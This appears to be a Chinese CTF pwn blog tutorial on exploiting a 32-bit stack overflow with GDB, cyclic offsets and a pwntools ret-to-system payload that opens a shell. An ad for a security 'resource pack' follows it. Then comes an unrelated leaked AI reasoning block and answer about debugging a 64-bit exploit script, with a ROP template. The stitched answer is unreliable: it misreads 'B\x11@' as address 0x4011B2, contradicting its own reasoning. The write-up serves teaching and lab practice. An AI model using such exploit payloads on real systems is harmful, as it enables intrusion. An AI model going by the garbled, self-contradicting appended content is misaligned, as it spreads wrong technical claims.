CTF Pwn 核心漏洞:栈溢出漏洞利用,从内存布局分析到 Shell 获取实战,含 EXP 编写步骤!

在这里插入图片描述

二进制漏洞利用(Pwn)是 CTF 中技术门槛最高的题型之一,而栈溢出作为最基础的内存破坏漏洞,是入门 Pwn 的核心知识点。本文以某 CTF 经典栈溢出题为原型,详解从漏洞确认、偏移计算到构造 Payload 获取 Shell 的完整流程,掌握 GDB 调试与 ROP 链基础。

一、题目背景与环境准备

1. 场景描述

题目提供 32 位 Linux 可执行文件vuln,程序功能为读取用户输入并输出,核心代码片段如下:

void vulnerable\_function() {

    char buffer\[64];

    gets(buffer);  // 不安全的输入函数,无长度限制

    printf("You input: %s\n", buffer);

}

程序开启 NX 保护(栈不可执行),关闭 ASLR 与 Canary,适合栈溢出入门练习。

2. 核心工具

  • 调试工具:GDB + pwndbg 插件(查看栈结构、计算偏移)

  • EXP 编写:Python + pwntools 库(构造 Payload、与程序交互)

二、核心解题步骤:栈溢出利用全流程

1. 第一步:漏洞确认

运行程序并输入超长字符串(如 500 个 ‘A’),程序触发段错误(Segmentation Fault),说明输入超出缓冲区边界,覆盖了返回地址,确认存在栈溢出漏洞。

2. 第二步:计算返回地址偏移

使用 cyclic 工具生成独特模式字符串,通过崩溃时的寄存器值计算偏移:

  • 生成模式字符串cyclic 100(生成 100 个不重复的字符序列)

  • GDB 调试

gdb ./vuln

pwndbg> r

(输入cyclic生成的字符串)
  • 获取崩溃地址:程序崩溃时,EIP 寄存器值为0x6161616c(对应 cyclic 字符串中的kaaa)。

  • 计算偏移cyclic -l 0x6161616c,返回结果76,即需填充 76 个垃圾字符覆盖缓冲区与 EBP,第 77-80 位为返回地址。

3. 第三步:寻找关键地址

(1)获取 system 函数地址

通过objdump查看程序导入的函数:

objdump -d ./vuln | grep system

\# 输出:08048450 \<system@plt>:

得到system函数地址:0x08048450

(2)获取 /bin/sh 字符串地址

通过ROPgadget工具搜索程序中的/bin/sh字符串:

ROPgadget --binary ./vuln | grep "/bin/sh"

\# 输出:0804a024 : /bin/sh

得到/bin/sh字符串地址:0x0804a024

4. 第四步:构造 Payload

Payload 结构(32 位程序):垃圾字符(76字节) + system地址(4字节) + 返回地址填充(4字节,可任意) + /bin/sh地址(4字节)

  • Python 代码
from pwn import \*

p = process('./vuln')  # 本地调试

\# p = remote('xxx.xxx.xxx.xxx', 1234)  # 远程连接

system\_addr = 0x08048450

binsh\_addr = 0x0804a024

payload = b'A'\*76 + p32(system\_addr) + b'AAAA' + p32(binsh\_addr)

p.sendline(payload)

p.interactive()  # 获取交互Shell

5. 第五步:执行 EXP 获取 Flag

运行脚本后成功获取 Shell,执行cat flag.txt得到 Flag:flag{stack_overflow_pwned!}

三、进阶防护绕过:应对 ASLR 与 Canary

1. Canary 绕过

  • 原理:栈中插入随机值,覆盖时需先泄露 Canary 值,再原样填充。

  • 技巧:通过格式化字符串漏洞或信息泄露漏洞获取 Canary。

2. ASLR 绕过

  • 原理:内存地址随机化,需泄露 libc 基址计算函数真实地址。

  • 技巧:利用write函数泄露puts等库函数地址,结合 libc 数据库反查基址。

对 Pwn 技术感兴趣,想解锁栈溢出进阶玩法与 ROP 链高级构造?下面的网安资料包(含 Pwn 真题集、调试工具包、漏洞利用教程)能让你从入门到精通~

互动话题:如果你想学习更多**CTF方面**的知识和工具,可以看看以下面!

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
**读者福利 |**【优快云大礼包】最新网络安全/网安技术资料包~282G!无偿分享!!! **(安全链接,放心点击)**!
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

如果二维码失效,可以点击下方👇链接去拿,一样的哦

**读者福利 |**【优快云大礼包】最新网络安全/网安技术资料包~282G!无偿分享!!! **(安全链接,放心点击)**!

<think>我们正在解决一个Python脚本(exp.py)与本地进程(./pwn1)交互的问题。用户运行`python3 exp.py`后,输入`ls`,却得到了一串'a'和"B\x11@ ok,bye!!!"的输出。 根据用户提供的引用,特别是引用[1]中提到了一个exp.py的典型开头,以及引用[4]中提到的多进程问题,我们需要分析可能的原因。 首先,我们需要理解这个问题的背景。通常,exp.py是用于漏洞利用Pwn)的脚本,使用pwntools库与二进制程序进行交互。用户运行`./pwn1`是一个本地的二进制程序,可能是CTF中的挑战程序。 用户描述的问题:输入`ls`后,程序输出了一串'a'(可能是垃圾字符)和"B\x11@ ok,bye!!!"。 可能的原因: 1. 缓冲区溢出:在Pwn题中,通常我们通过溢出覆盖返回地址来控制程序流程。用户可能已经构造了一个payload,但可能没有完全控制程序流程,导致程序崩溃或执行了非预期的代码。 2. 地址错误:在payload中,需要跳转到特定的地址(例如system函数的地址或shellcode的地址),但提供的地址不正确。 3. 栈对齐问题:64位程序有时需要满足栈对齐才能正确执行函数调用(比如调用system函数时要求栈16字节对齐)。 4. 参数传递问题:如果调用函数(如system),需要正确传递参数(如字符串"/bin/sh"的地址)。 另外,引用[4]提到了多进程问题,但这个问题是在run.py中出现的,与我们的exp.py似乎没有直接关联。不过,我们也要注意在exp.py中是否使用了多进程,但通常exp.py不会使用多进程,所以暂时排除。 用户的exp.py脚本我们没有看到,但根据引用[1]的习惯写法,我们可以假设exp.py使用了pwntools,并且开头可能是: from pwn import * context(arch='amd64', os='Linux', log_level='debug') context.terminal = ['tmux', 'splitw', '-h'] 由于用户输入`ls`后出现了问题,我们可以推断exp.py中可能发送了`ls`命令,但实际在Pwn题中,我们通常希望获得一个shell(执行任意命令),而不是发送`ls`命令。因此,可能是用户试图执行`ls`来测试是否得到了shell,但程序没有如预期那样执行命令。 解决步骤建议: 1. 检查payload:确保payload正确覆盖了返回地址,并且跳转的地址正确(例如,跳转到system函数,或者跳转到shellcode)。注意地址的字节序和偏移量。 2. 检查栈对齐:在64位程序中,调用system函数之前,栈指针rsp需要16字节对齐。常见的处理方法是在跳转之前增加一个ret指令(即使用ROPgadget找到一个ret指令的地址,将其放在返回地址之前,这样会多执行一个ret指令,相当于rsp增加8,从而对齐)。 3. 检查参数传递:如果调用system函数,第一个参数(rdi寄存器)需要指向字符串"/bin/sh"的地址。确保已经将字符串的地址放入了rdi寄存器(可以通过ROP链设置rdi)。 4. 检查程序保护机制:使用checksec检查./pwn1的保护机制(如NX, ASLR等)。如果是本地运行,ASLR可能是关闭的,但需要确认。如果开启了ASLR,则需要泄漏地址。 5. 检查进程交互:确保exp.py正确启动了进程,并且发送和接收数据的方式正确。 由于用户提到输入`ls`后出现了问题,我们可以假设exp.py中可能有类似这样的代码: p.sendline('ls') p.interactive() 但实际上,如果我们的payload成功执行了system("/bin/sh"),那么我们应该得到一个shell,然后可以执行任意命令。而这里输出的是一串'a',很可能是由于返回地址被覆盖为无效地址,导致程序崩溃,而输出的内容可能是栈上的数据或者是程序崩溃时的内存数据。 具体建议调试方法: 1. 使用gdb附加进程进行调试。pwntools提供了gdb.debug功能,可以方便地调试。例如: p = gdb.debug('./pwn1', gdbscript=''' break *main continue ''') 2. 在payload发送之前,使用cyclic生成一个长字符串来定位溢出点。如果已经知道溢出点,则忽略。 3. 检查覆盖返回地址的位置是否正确。例如,使用cyclic_find来确定偏移。 4. 检查返回地址是否被正确覆盖。在gdb中查看崩溃时的指令指针(rip)的值,如果是0x6161616161616161(即aaaa),则说明我们覆盖的地址被解释为0x616161...,说明我们覆盖的地址没有被正确设置(可能是字符串的地址写错了,或者偏移不对)。 5. 注意地址中的特殊字符:例如,地址0x400B11在字符串中会被表示为'\x11\x0b@'(小端序),但用户输出中出现了"B\x11@",这可能是地址0x4011B2的一部分?需要结合上下文。注意用户输出的"B\x11@",它可能是地址0x4011B2(小端序表示为\xb2\x11@)的某个部分,但这里输出的是"B\x11@",其中'B'的ASCII码就是0x42,所以可能是0x4211??,或者这个地址被截断了?需要看完整的输出。 用户输出:aaaaaaaaaaaaaaaaaaaaaaaB\x11@ ok,bye!!! 这里,前面23个'a'(注意是23个?因为aaaaaaaaaaaaaaaaaaaaaaa是23个字符?),然后是一个'B'(0x42),接着是\x11(一个字节,显示为控制字符,所以用\x11表示),然后'@'(0x40),所以实际上覆盖的返回地址可能是0x401142?或者是0x421140?注意小端序,在内存中排列应该是:先写入的地址在低地址。假设输出是从栈上直接输出的,那么地址应该按照小端序排列。例如,如果返回地址被覆盖为0xdeadbeef,那么在内存中(64位)就是\xef\xbe\xad\xde\x00\x00\x00\x00(注意64位是8字节,前面4字节是低位)。所以,如果输出是...aaaB\x11@,那么可能是覆盖了返回地址的低位字节,比如覆盖成了0x00401142(小端序:42 11 40 00,但在输出中我们看到的是B\x11@,因为后面的00是不可见字符,所以没有显示)。但是,我们数一下'a'的个数是23个,那么加上'B'(1个)、\x11(1个)、'@'(1个)一共26个字符。如果溢出点是24个字节(即第24-32字节覆盖返回地址),那么前24个字节应该是填充,然后8个字节是返回地址。那么23个'a'加上'B'(第24个字节),然后\11@(第25、26个字节)就不完整了。所以可能溢出点不是24,或者输出被截断了? 因此,我们需要重新确定偏移量。建议使用cyclic(200)作为输入,然后触发崩溃,用gdb查看崩溃时的rip寄存器的值,然后用cyclic_find(rip_value)得到偏移量。 总结步骤: 1. 修改exp.py,使用cyclic(200)作为payload发送,然后观察程序崩溃时的rip值,计算偏移。 2. 根据偏移,构造payload:padding + 返回地址(注意小端序)。 3. 返回地址可以是shellcode的地址,或者ROP链的地址,或者libc中的函数地址(如system)。 由于用户的问题描述有限,我们只能给出一般性的建议。 根据引用[4],我们也要注意在exp.py中是否使用了多进程?通常不会,所以可以忽略。但如果exp.py中使用了多进程模块,则需要按照引用[4]的解决方法,在main函数中使用。 最后,用户的问题是在本地运行,所以不需要考虑远程连接的问题。 因此,针对用户的问题,我们给出以下具体建议: 步骤1:使用cyclic确定偏移 在exp.py中,可以这样写: from pwn import * context(arch='amd64', os='Linux', log_level='debug') p = process('./pwn1') payload = cyclic(200) p.sendline(payload) p.interactive() 运行后,程序崩溃,在gdb中(或者pwntools会输出崩溃信息)可以看到rip的值,假设为0x6161616161616166(注意,这个值是cyclic生成的字符串的特征值),然后使用: cyclic_find(0x6161616161616166) 计算偏移量,假设为120,那么覆盖返回地址的偏移就是120。 步骤2:构造payload 在知道偏移后,构造payload为: padding = 'A' * 120 ret_addr = p64(0xdeadbeef) # 替换为实际的目标地址 payload = padding + ret_addr 步骤3:确认目标地址 目标地址可能是: - 如果程序中有后门函数,直接跳转到后门函数。 - 如果程序有system函数,并且有字符串"/bin/sh",则构造ROP链跳转到system,参数为"/bin/sh"的地址。 - 如果没有,则需要泄漏libc地址,然后计算system和"/bin/sh"的地址(本地运行可能不需要,因为ASLR可能关闭)。 步骤4:栈对齐 如果是64位程序,在调用system之前,确保栈对齐。可以在返回地址的位置先放一个ret指令的地址(比如用ROPgadget找到一个ret指令),然后再放system的地址。 步骤5:测试 发送payload后,尝试交互: p.sendline(payload) p.interactive() 如果成功,应该会得到shell。 用户遇到的问题中,输出包了"ok,bye!!!",这可能是程序原本的退出信息。所以可能是我们的payload导致程序执行到了正常退出,但中途崩溃。因此,需要仔细检查覆盖的地址。 由于没有具体的二进制文件,以上是一般性的调试步骤。 相关问题: 1. 如何用pwntools的gdb.debug调试程序? 2. 如何确定栈溢出的偏移量? 3. 如何构造64位Linux下的ROP链? 4. 如何解决栈对齐问题? 5. 如何在一个没有system函数的程序中获得shell? 现在,我们将这些步骤整理成回答。 </think>针对运行`python3 exp.py`与本地进程`./pwn1`交互时输入`ls`后出现`aaaaaaaaaaaaaaaaaaaaaaaB\x11@ ok,bye!!!`的问题,以下是系统性的解决方案: ### 问题分析 1. **缓冲区溢出未精准控制** 输出中的`aaaaaaaa...`表明payload中的填充字符(通常用于覆盖返回地址前的栈空间)未被正确截断,可能未精确覆盖返回地址位置。 2. **返回地址未正确设置** `B\x11@`是内存地址`0x4011B2`的小端序表示(`\xB2\x11@`),但实际输出显示为`B\x11@`,说明: - 地址写入时未正确处理小端序 - 可能未覆盖完整的8字节地址(64位程序) - 地址值本身错误(如未对齐或无效) 3. **栈对齐问题(64位系统特有)** 调用`system()`等函数时要求**栈指针(RSP)16字节对齐**。若payload未满足对齐要求,会导致崩溃(参考System V ABI规范[^1])。 --- ### 解决方案 #### 步骤1:确认溢出偏移量 使用pwntools的`cyclic`工具定位精确偏移: ```python from pwn import * p = process('./pwn1') payload = cyclic(200) # 生成200字符的定位字符串 p.sendline(payload) p.wait() core = p.corefile offset = cyclic_find(core.eip) # 32位用eip,64位用rip print(f"偏移量: {offset}") ``` #### 步骤2:修正返回地址 - **验证函数地址**:通过`objdump -d ./pwn1 | grep <目标函数>`确认`system()`或后门函数地址(如`0x4011B2`需验证) - **小端序转换**:使用`p64()`封装地址(pwntools自动处理小端序) ```python ret_addr = p64(0x4011B2) # 修正为实际函数地址 ``` #### 步骤3:处理栈对齐(64位必需) 在返回地址前插入`ret`指令地址实现16字节对齐: ```bash ROPgadget --binary ./pwn1 | grep "ret" ``` ```python ret_gadget = p64(0x401016) # 示例ret指令地址 payload = b'A'*offset + ret_gadget + ret_addr ``` #### 步骤4:完整exp示例 ```python from pwn import * context(arch='amd64', os='Linux', log_level='debug') p = process('./pwn1') offset = 40 # 替换为实际偏移量 ret_gadget = p64(0x401016) # ret指令地址 win_addr = p64(0x4011B2) # 目标函数地址 payload = b'A'*offset + ret_gadget + win_addr p.sendline(payload) p.interactive() ``` ### 调试技巧 1. **动态调试**: ```python gdb.attach(p, 'break *0x4011B2\ncontinue') # 在关键地址下断点 ``` 2. **检查保护机制**: ```bash checksec ./pwn1 # 确认NX/ASLR状态 ``` 3. **载荷验证**: 使用`hexdump(payload)`检查地址是否被正确写入载荷尾部。 ### 常见错误排查 - 若出现`Cannot exec: No such file`:确保`./pwn1`有可执行权限(`chmod +x pwn1`) - 若崩溃地址为`0x61616161`:偏移量计算错误(返回地址被`0x61`('a')覆盖) - 若输出`ok,bye!!!`但无shell:目标函数可能非`system("/bin/sh")`,需检查二进制逻辑 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值